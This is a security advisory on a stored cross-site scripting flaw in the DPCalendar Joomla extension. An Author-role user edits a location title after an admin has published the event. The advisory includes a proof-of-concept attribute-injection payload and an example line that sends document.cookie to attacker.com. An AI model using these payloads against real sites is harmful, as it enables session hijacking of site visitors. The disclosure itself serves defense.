A second design flaw amplifies the impact: EventController::allowEdit() checks only created_by == current_user — it does not check event publication state. An Author can create a benign event, have an administrator publish it, and then silently weaponize the linked location by editing its title after publication, bypassing content review entirely. The XSS payload is inserted after moderation; administrators never see it during their review cycle.

AFFECTED VERSIONS

VULNERABILITY DETAILS

Type: Stored Cross-Site Scripting / Improper Output Encoding (CWE-79) Authentication required: Author role — frontend user (Joomla group 4, minimum to create events) File: site/tmpl/event/default_locations.php

Root Cause

$location->title is echoed directly — without htmlspecialchars() — in two output contexts in default_locations.php. The attribute context is the exploitable sink via the web UI, as Joomla's InputFilter blocks <> but passes " through unaltered.

DEFAULT_LOCATIONS.PHP — VULNERABLE OUTPUT SINKS

A title value of New Location" onmouseover="alert(document.domain) is stored intact by the server. On output, Sink 2 renders as:

The onmouseover attribute becomes a live event handler in the rendered DOM.

Missing Publication-State Check

EventController::allowEdit() grants edit access to any Author for their own events regardless of publication state. An attacker establishes trust by submitting a normal event for admin review, then — after publication by admin — silently edits the linked location to inject the XSS payload:

SITE/SRC/CONTROLLER/EVENTCONTROLLER.PHP — ALLOWEDIT() MISSING STATE CHECK

PROOF OF CONCEPT

1. Log in as Author-role user

Navigate to the frontend login form and log in with an Author account (Joomla group 4 — minimum required to create events and locations).

2. Create a normal event with a legitimate location

Navigate to /index.php?option=com_dpcalendar&view=form. Create an event with a clean title and attach any existing location (e.g. "Greater London"). This establishes the Author's legitimacy before the payload is introduced.

3. Wait for an administrator to publish the event

The event is submitted for review. An administrator logs in and publishes it from the DPCalendar backend. The event is now live and visible to all site visitors.

4. Return to the published event and open the location for editing

As the Author, navigate to the published event page. The Edit Event button remains visible — allowEdit() does not check publication state. Click Edit Event, go to the Location tab, and click the pencil icon to open locationform.

5. Inject the XSS payload into the Location title field

Replace the location name with the payload. Joomla's InputFilter passes " through — the payload saves intact and breaks the HTML attribute context on output:

PAYLOAD — TITLE FIELD (LOCATIONFORM)

Click Save.

6. Any visitor to the event page triggers XSS on hover

When any user — authenticated or anonymous — visits the event detail page and moves their cursor over the Location information section, the injected onmouseover handler fires immediately. No authentication, no click, and no further interaction is required beyond visiting the page.

The raw payload is visible in the Location section of the event page — the unescaped title is rendered as a live HTML attribute:

Hovering over the Location section fires the alert dialog in the anonymous visitor's browser:

IMPACT

1. Session hijacking — The injected handler can exfiltrate the victim's session cookie via fetch('//attacker.com/?c='+document.cookie), granting full account takeover for any role that views the event.

2. Persistent, event-scoped attack surface — The payload persists until the location title is manually corrected. Every user who visits the event page — including anonymous visitors — is exposed. High-traffic events (public conferences, booking pages) multiply the victim count.

3. Post-publication trust bypass — Because the Author can silently modify the location after admin approval, the payload is never seen during content review. The benign event passes moderation; the XSS is inserted afterwards.

REFERENCES

• CVE: https://www.cve.org/CVERecord?id=CVE-2026-78071
• NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-78071
• GitHub Advisory: https://github.com/advisories/GHSA-32gf-548r-6r9c
• Vendor Repository: https://github.com/Digital-Peak/DPCalendar-Free